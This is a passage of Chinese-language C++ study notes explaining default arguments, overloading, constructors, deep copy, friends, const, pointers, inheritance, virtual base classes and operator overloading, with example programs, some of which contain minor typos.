inline double calArea(double radius){
 return PI*radius*radius;
}

int main(){
double r=3.0;
double area = calArea(r);
cout<<area<endl;
return 0;
}

带默认参数函数

有默认参数的形参必须在形参列表后，也就是说默认参数右面不能有无默认值参数，调用时实参与形参结合从左向右

1
2
3


int add(int x,int y=5,int z=6); //✔对
int add(int x=4,int y=5,int z); //xx错
int add(int x=1,int y int z=6); //xx错

如果一个函数有原型声明，且原型声明在定义之前，则默认参数必须在函数原型声明中给出;而如果只有函数的定义或函数定义在前，默认参数在函数定义中给出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


//1 原型声明在前
int add(int x=5,int y=6);
int main(){
 add();
}

//这里不能再指定默认值了
int add(int x,int y){
 return x+y;
}

int add(int x=5,int y=6){
 //直接定义
 return x+y;
}
int main(){
 add();
}

函数重载

将功能相似的函数以相同函数名声明形成重载，便于使用

1
2
3
4
5
6
7


int add(int x,int y);

//类型不同
float add(float x,float y);

//形参个数不同
int add(int x,int y,int z);

注意形参必须存在不同，或个数或类型而名字和返回值是不可行的
——根据函数有无const决定是否重载，而编译程序根据实参和形参类型、个数会自动最佳匹配来选择调用哪一个函数

析构函数不可重载

参数传递

值传递——传递参数值，单向
引用传递——双向传递使用& 引用传递声明时候必须同时对它进行初始化，使其指向一个已存在的对象

1
2
3
4


int i,j;
int &ri=i;
j=10;
ri=j; //i=j

一个引用初始化后不能改为指向其他对象，可作形参

类与对象

类

具有相同属性和行为的一组对象的集合，为属于该类的全部对象提供抽统一抽象描述，内部包含属性和行为
数据的封装、继承与派生都是利用类实现的
利用类更易于编写大型复杂程序，模块化程度比C中使用函数更高

构造函数

没有返回值

作用：在对象被创建的时候使用特定值构造对象
对象创建时自动调用
程序中未声明则系统生出默认构造函数，参数为空
类型：可以是内联函数、重载函数、带默认参数值函数（其实就是大部分你学过的函数）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


// 时钟实例
#include <iostream>
using namespace std;
class Clock {
public:
 Clock(int h, int m, int s);
 void setTime(int h, int m, int s);
 void showTime() { printf("%d %d %d\n", hour, minute, second); }

private:
 int hour;
 int minute;
 int second;
};

Clock::Clock(int h, int m, int s) {
 hour = h;
 minute = m;
 second = s;
}
int main() {
 Clock c1(0, 0, 0);//调用有参数构造函数，无参数的就直接Clock c2,系统会生成默认构造函数;
 c1.showTime();
 return 0;
}

复制构造函数

特殊的构造函数，形参为本类的对象引用。作用上会将已存在的对象初始化同类型的新对象
当我们没有明确定义一个复制构造函数，编译器会生成一个
格式如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


class 类名
{
public:
 类名（形参表）
 类名（类名 &对象名）; //复制构造函数
 ...
};
类名::类名（类名 & 对象名）{
 函数体//具体实现
}

具体实现：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


class Point
{
public:
 Point(int xx=0,yy=0){
 x=xx;y=yy; //构造函数
 }
 Point(Point &p);//复制构造函数
 int getX(){return x;}
 int getY(){return y;}
private:
 int x,y;
}

被调用的三种情况：

定义一个对象， 以本类其他对象作为初始值
函数的形参是类的对象，调用函数时，使用实参对象初始化形参对象，发生复制构造
返回值是类的对象，函数执行完成返回主调函数，使用return语句中对象初始化一个临时无名对象（可见运算符重载）下面看一个覆盖了三种情况的例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


void fun1(Point p){
 cout<<p.getX()<<endl;
}
Point fun2(){
 Point a(1,2);
 return a;
}

void main(){
 Point a(4,5); //第一个对象a
 Point b=a; //情况一，用A初始化B
 cout<<b.getX()<<endl;

 fun1(b);//情况二，对象B作为fun1实参，调用复制构造函数
 b=fun2();//情况三，函数返回值是类对象，函数返回调用复制构造函数
 cout<<b.getX()<<endl;
}

析构函数

完成对象被删除前的一些清理工作
在对象的生存期结束的时刻系统调用并释放对象所属空间
程序中未声明析构函数，编译器会自动生成一个隐含的析构函数

动态内存分配

new 类型名T(初始化参数列表)

用于程序执行期间，申请用于存放T类型对象内存空间，成功会抛出T类型指针

delete 指针p

释放p所指向内存，p必须是new操作的返回值

以上二者必须配对使用

1
2
3
4
5
6
7
8


Point* ptr1 = new Point; //可看看ptr1值
delete ptr1;
int *x = new int; //x不确定

int *x = new int(); //x=0，如果删除这个的话这个空间会被赋值一个奇怪的数，可以自己看看

Point* ptr=new Point[2]; // 创建对象数组
delete[] ptr; //删除整个对象数组

浅复制和深复制

浅复制

只复制指针，相当于源对象实际上与复制对象公用一个内存数据成员带有指针时，使用浅复制可能出现问题（比如内存泄漏，然后我们就可以伪造数据，或许就能pwn了嘿嘿）

比如这个图中的World这部分的内存就没有指针会去指向它了，有因为没有被销毁，成为了孤儿内存

深复制

一并复制对象空间和资源，源对象与复制对象互相独立，占不同内存。
一般需要自行写 复制构造函数和赋值函数
注意在赋值的时候检测是否 自我赋值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


#include <bits/stdc++.h>
using namespace std;
class String {
public:
 String(const char *cstr = 0);
 String(const String &str);
 String &operator=(const String &str);
 ~String();

private:
 char *m_data;
};

String::String(const char *cstr) {
 if (cstr) {
 m_data = new char[strlen(cstr) + 1];
 strcpy(m_data, cstr);
 } else {
 m_data = new char[1];
 *m_data = '\0';
 }
}

String::~String() { delete[] m_data; }

String::String(const String &str) {
 m_data = new char[strlen(str.m_data) + 1];
 strcpy(m_data, str.m_data);
}

String &String::operator=(const String &str) {
 if (this == &str)
 return *this; // 如果已经有自我赋值就返回

 delete[] m_data; // 释放原有内存
 m_data = new char[strlen(str.m_data) + 1]; // 分配新内存
 strcpy(m_data, str.m_data); // 复制内容
 return *this;
}

int main() {
 String s1;
 String s2("hello");// 构造
 String s3(s1); //复制构造
 s3 = s2;
 return 0;
}

总结一下：深复制会一并复制对象空间和资源，而源对象与复制对象互相独立占不同内存，需要自己写复制构造函数和赋值函数

类的组合

类中成员数据是另一个类的对象
在已有抽象的基础上实现复杂抽象，也就是组合类
比如在Point类上定义Line类和三角形类

组合类的构造函数

第一步先调用内嵌对象的构造函数，调用顺序按照对象在组合类定义中出现顺序来，根据初始化列表判断使用构造函数还是拷贝构造函数。

如果一个内嵌对象没有默认构造函数，在组合类的初始化列表中要给对象成员也初始化，对于继承的构造函数同理

第二步然后执行本类构造函数的函数体
析构函数调用顺序相反（你就当作先进后出这种）

语法格式：类名:::类名（形参列表）：内嵌对象1（形参表），形参对象2（形参表）

实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#include <cmath>
#include <iostream>
using namespace std;
class Point {
public:
 Point(int xx = 0, int yy = 0) {
 x = xx;
 y = yy; // 构造函数
 }
 Point(Point &p) {
 x = p.x;
 y = p.y;
 cout << "copy constructor has been called for (" << x << "," << y << ")"
 << endl;
 } // 复制构造函数
 int getX() { return x; }
 int getY() { return y; }

private:
 int x, y;
};

class Line {
public:
 Line(Point xp1, Point xp2);
 Line(Line &l);
 double getLen() { return len; }

private:
 Point p1, p2;
 double len;
};

Line::Line(Point xp1, Point xp2) : p1(xp1), p2(xp2) { // 组合类构造函数，内部再次调用复制构造函数进行p1 p2赋值
 cout << "calling constructor for Line" << endl;
 double x = static_cast<double>(p1.getX() - p2.getX());
 double y = static_cast<double>(p1.getY() - p2.getY());
 len = sqrt(x * x + y * y);
};
Line::Line(Line &l) : p1(l.p1), p2(l.p2) { // 组合类复制构造函数
 cout << "calling copy constructor for Line" << endl;
 len = l.len;
};

int main() {
 Point myp1(1, 1), myp2(4, 5);
 Line line(myp1, myp2);
 puts("This is LINE~~~~~~~~~~~~~~~~~~~~");
 Line line2(line); // 复制构造函数建立新对象
 cout << "the length of the line1 is " << line.getLen() << endl;
 cout << "the length of the line2 is " << line2.getLen() << endl;
 return 0;
}

抽象

对具体对象（即问题）进行概括，抽出该类对象的公共性质并加以描述的过程。
以时钟为例

数据抽象：描述某类对象的属性或状态（时分秒）
代码抽象：描述某类对象的共有的行为特征或具有的功能。（比如设定时间、显示时间的功能）抽象通过类的声明具体实现

封装

将抽象的数据成员、代码成员相结合，视为一个整体
目的上增强了安全性，简化了编程，使用者也不必了解具体实现细节，通过接口和特定访问权限来使用类的成员
{}用于类声明中实现封装

1
2
3
4
5
6
7
8


class Clock
{
 public:
 void setTime(int newH,int newM,int newS);
 void showTime();
 private:
 int hour,minute,second;
}

继承

C++中支持层次分类的机制，允许程序员在保持原有类特性的基础上进行更具体的说明，见下文继承与派生

多态

见下文多态与多态性

数据共享与保护

文件作用域

这个很好区分的看实例，局部作用域在块中声明，作用域自声明处起，限定在块中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include<iostream>
using namespace std;

int i; //全局
void main(){
 i=5; //全局i赋值
 {
 int i; // 局部
 i = 7;
 cout<< "i = "<<i<<endl;//7
 }
 cout<<" i = " <<i<<endl;//5
}

可见性
- 标识符声明在先，引用在后
- 某个标识符外层声明，内层没有同一标识符声明，该标识符内层可见
- 对于两个嵌套作用域，如果在内层作用域声明与外层作用域同名标识符，外层作用域标识符在内层不可见（暂时覆盖）
- 就近原则
对象生存期
- 对象从产生到结束的时间
- 对象生存期内，对象保持它的值直到被更新
- 函数内部声明静态生存期对象-static（不会被重置）
动态生存期
- 块作用域中声明的，没有用static修饰的对象是动态生存期对象
- 开始于程序执行到声明点，结束于命名该标识符的作用域结束处

静态数据成员相关

static声明
被类所有对象共享，静态生存期
类外定义和初始化，::指明所属类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


#include <iostream>
using namespace std;
class Point {
private:
 int x, y;
 static int count; // static member variable

public:
 Point(int x = 0, int y = 0) : x(x), y(y) {
 // 构造函数中进行++，因此所有对象共享该唯一一个count
 count++;
 }
 Point(Point &p) {
 x = p.x;
 y = p.y;
 count++;
 }
 ~Point() { count--; }
 int getX() { return x; }
 int getY() { return y; }
 void showCount() { cout << " Object count = " << count << endl; }
};
int Point::count = 0; // 初始化，使用类名限定

int main() {

 Point a(4, 5);

 cout << "Point A: " << a.getX() << "," << a.getY() << endl;
 a.showCount();

 Point b(a);

 cout << "Point B: " << b.getX() << "," << b.getY() << endl;
 b.showCount();
 return 0;
}

静态成员函数只能访问静态数据成员、静态成员函数如

1
2
3
4
5
6
7


static void showCount(){
cout<<"Object count = " <<count<<endl;
}

//main中，可以通过
//1.Point::showCount();
//2.a.showCount();

类的友元

（非常匪夷所思）

c++提供的破坏数据封装和数据隐藏的机制（尽量不使用和减少使用以保证数据封装和隐藏）
使用友元函数和友元类

友元函数

^fc3201

用friend修饰说明的非成员函数，在函数体中可以通过对象名访问private和protected成员（进行了破坏）
作用：增加了灵活性，是程序员更好在封装和快速性做合理选择
访问对象中成员必须通过对象名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


#include <cmath>
#include <iostream>
using namespace std;

class Point {
public:
 Point(int x = 0, int y = 0) : x(x), y(y) {}
 int getX() { return x; }
 int getY() { return y; }
 friend float dist(Point &a, Point &b);

private:
 int x, y;
};

float dist(Point &a, Point &b) {
 double x = a.x - b.x;
 double y = a.y - b.y;
 return float(sqrt(x * x + y * y));
}

int main() {
 Point p1(1, 1), p2(4, 5);
 cout << "Distance between p1 and p2 is: " << dist(p1, p2) << endl;
 return 0;
}

dist这里设置为了非类内相关的普通成员函数，由此设置friend可以访问到类内private成员

友元类

一个类为另一个类的友元，此类中所有成员都可以访问对方类的私有成员
用friend将友元类名在另一个类中修饰

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


#include <iostream> //>
using namespace std;

class A {
 friend class B;

public:
 void display() { cout << x << endl; }

private:
 int x;
};

class B {
public:
 void set(int i);
 void display();

private:
 A a;
};

void B::set(int i) {
 a.x = i; // Accessing private member of class A
}

void B::display() {
 a.display(); // Calling display method of class A
}

int main() {
 B a;
 a.set(1);
 a.display();
 return 0;
}

最后打印a.x为B访问的A成员的x,也就是1

友元关系是单向的，我们在A中设置B类是A类的友元，B类的成员函数可以访问A类的私有和保护数据，但是A类的成员函数不能访问B类的私有、保护数据

共享数据保护

⭐在一些情况下，对于既需要共享、又需要改变的数据我们就设置为常类型 const（这东西你会看到很多次的）
对于不改变对象状态的成员函数都应该声明为常函数

常对象

必须进行初始化，不会被更新
const 类名对象名

1
2
3
4
5
6
7
8
9


class A{
public:
 A(int i,int j) {x=i;y=j;}
 ...
private:
 int x,y;
};

const A a(3,4); //常对象a,不会被更新

常成员、常引用和常成员函数

常成员 用const进行修饰的类成员

常数据成员
常函数成员

常数据成员要么直接初始化，要么在构造函数里初始化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#include <iostream>
using namespace std;
class A {
public:
 A(int i) : a(i) {}
 void print();

private:
 const int a; // const int a=10就可初始化
 static const int b; // 静态常数据成员
};
const int A::b = 10;

void A::print() { cout << a << ":" << b << endl; }

int main() {
 A a1(100), a2(0);
 a1.print();
 a2.print();
 return 0;
}

常引用
const 类型说明符 &引用名

常引用的被引用对象不能被更新
常引用做形参就不会 意外发生对实参的修改 对上文友元函数进行修改
friend float dist(const Point &p1,const Point &p2);这样引入的参数必然是安全常态的

常成员函数
类型说明符函数名（参数表） const;

使用关键字说明的函数
不更新对象的数据成员
const关键字被用于参与对重载函数的区分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#include <iostream>
using namespace std;
class R {

public:
 R(int r1, int r2) : r1(r1), r2(r2) {};
 void print();
 void print() const;

private:
 int r1, r2;
};
void R::print() { cout << r1 << ":" << r2 << endl; }
void R::print() const { cout << r1 << ";" << r2 << endl; }
int main() {
 R a(5, 4);
 a.print(); // Calls the non-const version
 const R b(20, 52);
 b.print(); // Calls the const version
 return 0;
}

通过常对象只能调用它的常成员函数，所以是要一一配对的

指针常量和常量指针

指针常量——指针本身的值不能被改变

1
2
3
4


int a;
int* const p2=&a;
int b;
p2=&b;//❌p2为常量指针不能修改

常量指针——不能通过指针修改所指对象的值，但指针本身可以修改指向别的对象

1
2
3
4
5


int a;
const int *p1=&a; //p1是指向常量的指针
int b;
p1=&b;//✔
*p1=1;//❌

1
2
3
4
5
6
7


int* const p;//p所指地址不能被修改
int const *p;//p所指位置可以修改，但是不能通过*p=...来修改所指向地址的值，但是可以指向另一个地址
const int *p; //同第二个

int a=2;
int const &b=a;//b不能改，只能a=2实现修改
const int* f();//返回的指针所指向的值不能通过该指针修改

指针⭐

赋值

“地址”存放与指针类型相符合的值
指针变量所赋的值必须是地址常量或变量（不可以是普通整数）。但可以赋值为整数0来表示空指针
指针类型与其所指向变量类型相同，任何一个指针本身数据值都是unsigned long int(地址是64位的，8字节)
void类型可声明。该指针会被赋予任何类型对象地址，使用时必须指定类型

1
2
3
4


int num=0;
void *prt;
prt=&num;
printf("%d\n",*((int*)ptr));

运算

指针p+n表示指针指向位置的前后n个数据的地址 ->p[n]=*(p+n)

指针作为函数参数：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#include <iostream>
using namespace std;
void split(float x, int *intpart, float *fracpart) {
 *intpart = int(x);
 *fracpart = x - *intpart;
}
int main() {
 float x, f;
 int n;
 cin >> x;
 split(x, &n, &f);
 cout << "Integer part: " << n << endl << "fractional part: " << f << endl;
 return 0;
}

对象指针

声明：类名 *对象指针名

1
2
3


Point a(5,10);
Point *prt;
ptr=&a;

访问的话

1
2
3
4
5
6


void main(){
Point a(4,5);
Point *p1=&a;
cout<<p1->getX()<<endl;//指针访问
cout<<a.getX()<<endl; //对象名访问
}

this指针

隐含于每⼀个类的成员函数中的特殊指针
明确地指出了成员函数当前所操作的数据所属的对象。
当通过⼀个对象调⽤成员函数时，系统先将该对象的地址赋给this指针，然后调⽤成员函数，成员函数对对象的数据成员进⾏操作时，就隐含使⽤了this指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


#include <iostream>
using namespace std;
class Point {
public:
 Point(int x = 0, int y = 0) : x(x), y(y) {}
 int getX();
 int getY();

private:
 int x, y;
};
int Point::getX() {
 return this->x; // return x;
}
int main() {
 Point p(3, 4);

 cout << p.getX() << endl;

 return 0;
}

函数指针

type (*fp)(tyep1,type2);

示例：int (*fp)(int int)
可将其他匹配函数赋予fp, 则fp可调⽤此函数两个案例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#include <iostream>
using namespace std;
int (*fp)(int, int);
int add(int a, int b) { return a + b; }
int main() {
 int x = 2, y = 3;
 fp = add; // 这⾥&add也可以
 cout << (*fp)(x, y) << endl;
 return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


#include <iostream>
using namespace std;
int (*fp)(int, int);
int fun1(int x, int y, int (*fp)(int, int)) { return (*fp)(x, y); }
int max(int x, int y) { return x > y ? x : y; }
int min(int x, int y) { return x < y ? x : y; }
int add(int x, int y) { return x + y; }
int sub(int x, int y) { return x - y; }
int main() {
 int x = 4, y = 1;
 cout << "max(x, y) = " << fun1(x, y, max) << endl; // 这⾥max和&max都可以
 cout << "min(x, y) = " << fun1(x, y, min) << endl;
 cout << "add(x, y) = " << fun1(x, y, add) << endl;
 cout << "sub(x, y) = " << fun1(x, y, sub) << endl;
 return 0;
}

继承与派生

保持已有类的特性⽽构造新类的过程称为继承
在已有类的基础上新增⾃⼰的特性⽽产⽣新类的过程称为派⽣，新类为 派生类
被继承的已有类称为基类(或⽗类)
继承目的——代码重用
派生目的——新的问题出现，原有程序⽆法解决或不能完全解决时，需要对原有程序进⾏改造

单继承和多继承

派生类只从单个基类派生——单继承（树状结构）

派生类有两个或以上的基类——多继承

派生类的声明和生成

1
2
3
4


class 派生类名：继承方式1 基类名1,继承方式2 基类名2,...
{
 成员声明;
}

例子：

1
2
3
4
5
6


class Derived:public Base1,private Base2
{
public:
 Derived();
 ~Derived();
}

生成过程：
- 吸收基类成员，派⽣类就包含了它的全部基类中除构造函数和析构函数之外的所有成员。
- 改造基类成员，如果派⽣类声明了⼀个和某基类成员同名的新成员（如果是成员函数，则参数表也要相同，参数不同的情况属于重载），派⽣类的新成员就覆盖了外层同名成员
- 添加新的成员，派⽣类新成员的加⼊是继承与派⽣机制的核⼼，是保证派⽣类在功能上有所发展 ^87738a
访问控制：
- 不同继承方式有三种，区别体现在访问权限上——派生类成员对基类成员的访问权限和通过派生类对象对基类成员的访问权限

不同的继承方式

公有继承public
私有继承private（默认）
保护继承protected

公有继承

基类public和protected成员的访问属性在派生类中保持不变，基类private成员不可直接访问
派生类成员函数可以直接访问基类中的public和protected成员，但不能直接访问private成员
通过派生类对象只能访问基类public成员

类成员访问属性

public：任意访问（类内，类外）
private：只能被本类成员函数访问、类的友元除外（即类内可访问、类外不行）
protected：本类及派生类的成员函数访问（类内可访问、派生类可访问、类外不行） private>protected>public
日常使用——public（想想也是用的最多的）
protect和private区别要牢记，见图

派生类的构造函数

基类构造函数不继承，要自己写

写的时候只需对本类中新增成员初始化，对继承得到的基类成员初始化，
自动调用基类构造函数完成如果基类没有默认构造函数，那么一定要调用基类的带参数的构造函数

派生类的构造函数要给基类的构造函数 传递参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


#include <iostream>
using namespace std;
class B {
public:
 B(int i); //没有默认构造函数，只有一个带参数的构造函数
 ~B();
 void print() const;

private:
 int b;
};
B::B(int i) { b = i; }
B::~B() {}
void B::print() const { cout << "b = " << b << endl; }
class C : public B {
public:
 C(int i);
 C(int i, int j);
 ~C();
 void print() const;

private:
 int c;
};
C::C(int i) : B(i) { c = 0; }
C::C(int i, int j) : B(i), c(j) {} //传递参数给基类
C::~C() {}
void C::print() const {
 B::print(); // 重名函数调用,输出下面赋的b
 cout << "c = " << c << endl;
}
int main() {
 C obj(5, 6);
 obj.print();
 return 0;
}

多继承时构造函数调用顺序

对于继承的基类成员，先调用基类构造函数，调用顺序按照它们 被继承时 声明的顺序（从左向右）
对本类成员初始化列表中的基类成员和对象成员进行初始化，初始化顺序按照它们在类中声明顺序。对象成员初始化自动调用对象所属类的构造函数完成
执行派生类的构造函数中内容

派生类的析构函数

析构函数不被继承，自行声明
声明方法与一般类的析构函数相同
不需要显式调用基类析构函数，系统会自动调用
顺序上先执行派生类的，再调用基类的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base1 {
public:
 Base1(int i) { cout << "constructing Base1 " << i << endl; }
 ~Base1() { cout << "Destructing Base1" << endl; }
};
class Base2 {
public:
 Base2(int j) { cout << "constructing Base2 " << j << endl; }
 ~Base2() { cout << "Destructing Base2" << endl; }
};
class Base3 {
public:
 Base3() { cout << "constructing Base3 * " << endl; }
 ~Base3() { cout << "Destructing Base3" << endl; }
};

class Derived : public Base2, public Base1, public Base3 {
public:
 Derived(int a, int b, int c, int d)
 : Base1(a), member2(d), member1(c), Base2(b) {}

private:
 Base1 member1;
 Base2 member2;
 Base3 member3;
};

int main() {
 Derived obj(1, 2, 3, 4);
 return 0;
}

析构和构造顺序相反

派生类和基类成员出现同名

若无特别限定，则通过派生类对象使用的是派生类中的同名成员
如要通过派生类对象访问基类中被隐藏的同名成员，应该使用基类名和作用域操作符（::）来限定

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


#include <iostream>
using namespace std;
class Base1 {
public:
 int var;
 void fun() { cout << "Memeber of Base1" << endl; }
};
class Base2 {
public:
 int var;
 void fun() { cout << "Member of Base2" << endl; }
};
class Derived : public Base1, public Base2 {
public:
 int var;
 void fun() { cout << "Member of Derived" << endl; }
};

int main() {
 Derived d;
 Derived *p = &d;

 d.var = 1; //对象名.成员名
 d.fun();//访问Derived对象 第一个fun,默认derived

 d.Base1::var = 2; //作用域操作符标识
 d.Base1::fun();//访问Base1基类成员 第二个fun

 p->Base2::var = 3;//作用域操作符标识进行访问
 p->Base2::fun();//访问Base2基类成员 第三个fun
 return 0;
}

基类成员同名

当派⽣类从多个基类派⽣，⽽这些基类⼜从同⼀个基类派⽣，则在访问此共同基类中的成员时，将产⽣⼆义性，那么应该怎么办呢？请看下面虚基类

举例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


#include <iostream>
using namespace std;
class Base0 {
public:
 int var0;
 void fun0() { cout << "member of Base0" << endl; }
};
class Base1 : public Base0 { // 第一个派生基类
public:
 int var1;
 void set1() { var0 = 1; }
};
class Base2 : public Base0 { // 第二个派生基类
public:
 int var2;
 void set2() { var0 = 2; }
};
class Derived : public Base1, public Base2 { // 派生类
public:
 int var;
 void set3() { Base1::var0 = 0; }
 void fun() { cout << "Member of Derived" << endl; }
};
int main() {
 Derived x;
 x.set1();
 x.set2();
 cout << x.Base1::var0 << endl;
 cout << x.Base2::var0 << endl;
 cout << x.var0 << endl; // 访问Base1的var0，但是这里会出现二义性错误,base1和base2都设置过var0,因此编译器无法理解是哪个var0了
 return 0;
}

因此也会导致编译错误

也可以看这个图，更详细

虚基类

引入：用于有共同基类的场合
声明：以virtual修饰说明，例如：class B1:virtual public B
作用：
- 解决多继承可能发生的对同一基类继承多次导致的二义性问题
- 为最远派生类提供唯一基类成员而不重复多次拷贝我们对源代码进行少量修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <iostream>
using namespace std;
class Base0 {
public:
 int var0;
 void fun0() { cout << "member of Base0=" <<var0<< endl; }
};
class Base1 : virtual public Base0 { // 第一个派生基类
public:
 int var1;
 void set1() { var0 = 1; }
};
class Base2 : virtual public Base0 { // 第二个派生基类
public:
 int var2;
 void set2() { var0 = 2; }
};
class Derived : public Base1, public Base2 { // 派生类
public:
 int var;
 void fun() { cout << "Member of Derived" << endl; }
};
int main() {
 Derived x;
 // x.set1();
 // x.set2();
 // cout << x.Base1::var0 << endl;
 // cout << x.Base2::var0 << endl;
 // cout << x.var0 << endl; // 访问Base1的var0
 x.var0 = 2; // 直接访问虚基类的数据成员
 x.fun0(); // 直接访问虚基类的函数成员
 return 0;
}

没有二义性！因为现在无论从 Base1 还是 Base2 继承的路径最终都共享这一个虚基类的成员。这时候只有唯一的var0存在，被两个派生同时指向

虚基类及其派⽣类构造函数

建立对象时所指的最远类——最远派生类
虚基类成员由最远派生类的构造函数调用了虚基类的构造函数进行初始化
建立对象的时候，只有最远派生类的构造函数调用虚基类的

构造函数调用函数
先看这张图

同一层中，先调用虚基类，再调用非虚基类的（BCD相比：先C D再B）
同一层中有多个虚基类，按照它们在继承方式中的声明次序调用（CD相比，则按声明顺序在E中声明）
基类由非虚基类派生，则先调用基类的，再按派生类中执行顺序调用（如AD相比，先A后D）

多态与多态性

多态

即操作接口具有表现多种形态的能力，可以根据不同操作环境采用不同处理方式

分类：按时机编译时多态和运行时多态分为两种，另有分类
- 重载多态：函数重载，运算符重载
- 强制多态：强制类型转换
- 包含多态：不同类中的同名成员函数
- 参数多态：函数模板、类模板
目的：实现行为标示统一而减少程序中标识符的个数
具体实现方式：重载函数和虚函数

多态性：用一个名字定义不同的函数，执行不同而相似的操作从而可以使用相同的调用方式来调用不同功能的同名函数
以下是多种不同的多态声明方式

1
2
3
4


//强制多态
double Add(int x,double y){
 return x+y;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


//不同类中的同名成员函数
class Base{
 public:
 void Show();
}

class Derived:public Base //Derived公有继承于Base
{
 public:
 void Show();
}

1
2
3
4
5
6
7
8
9


//module of functions参数多态
template<class T>
T Add(T x,T y)

int a=0lint b=1;int c;
int d=3.0;int e=4.5;int f;

c=Add(a,b);
f=Add(d,e);

关于多态的实现

编译时的多态（功能先绑定）
- 编译过程中就确定同名操作的具体操作对象（函数重载、强制多态、参数多态）
运行时的多态（功能后绑定）
- 运行过程中动态确定同名操作的具体操作对象（包含多态——虚函数）

运算符重载

^a8d5d6

C++几乎可重载所有运算符
. :: ?:等不可
重载后运算符优先级结合性不变
分为类成员函数重载和非成员函数重载

重要代码之复数计算

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <bits/stdc++.h>
using namespace std;
class Complex {
private:
 double real, imag;

public:
 Complex(double r = 0, double i = 0) : real(r), imag(i) {}

 Complex operator+(const Complex &other) const {
 return Complex(real + other.real, imag + other.imag);//会创建一个临时无名对象作为返回值
 }

 Complex operator-(const Complex &other) const {
 return Complex(real - other.real, imag - other.imag);
 }

 void display() const { cout << real << " + " << imag << "i" << endl; }
};

int main() {
 Complex c1(3, 4), c2(1, 2);

 Complex sum = c1 + c2;
 Complex diff = c1 - c2;

 cout << "a+b = ";
 sum.display();

 cout << "a-b = ";
 diff.display();
 return 0;
}

重载为成员函数

函数类型 operator 运算符（形参） 注意参数个数为原操作个数-1（存在特例双目运算符）

双目运算符

如果要重载B为类成员函数，使之能够实现 a1 B a2 其中a1为A类对象，则B应被重载为A类的成员函数，形参类型为a2所属类型
重载后，a1 B a2 = a1.operator B(a2)

前置单目运算符

如果要重载U为类成员函数，使之能够实现U a，其中a为A类对象，则U应该被重载为A类的成员函数，注意无形参
经重载后，表达式U a相当于a.operator U() 例如：重载一个复数类的"-"

后置单目运算符++ –

若要重载++或–为类成员函数，使之能够实现表达式 a++ a--。其中a为A类对象，则++或–应被重载为A类的成员函数，有一个int类型形参
重载后，a++相当于a.operator ++(0) 示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


#include <iostream>
using namespace std;
class Clock {
public:
 Clock(int h = 0, int m = 0, int s = 0) : hour(h), minute(m), second(s) {}
 // 构造函数
 void showTime() const;
 Clock operator+(const Clock &x) const;
 Clock &operator++();
 Clock operator++(int);
 void set(int h, int m, int s) {
 hour = h;
 minute = m;
 second = s;
 }

private:
 int hour, minute, second;
};
void Clock::showTime() const {
 cout << hour << ":" << minute << ":" << second << endl;
}
Clock &Clock::operator++() { //前置运算符++重载
 second++;
 if (second >= 60) {
 second -= 60;
 minute++;
 if (minute >= 60) {
 minute -= 60;
 hour = (hour + 1) % 24;
 }
 }
 return *this;
}
Clock Clock::operator++(int) {
 Clock temp = *this; // 后置单目++重载
 ++(*this); // 调用前置++，实现了返回old的同时进行了++
 return temp;
}
Clock Clock::operator+(const Clock &x) const {
 Clock temp;
 temp.hour = hour + x.hour;
 temp.minute = minute + x.minute;
 temp.second = second + x.second;
 while (temp.second >= 60) {
 temp.second -= 60;
 temp.minute++;
 }
 while (temp.minute >= 60) {
 temp.minute -= 60;
 temp.hour++;
 }
 return temp;
}
int main() {
 Clock c1, c2;
 c1.set(1, 3, 2);
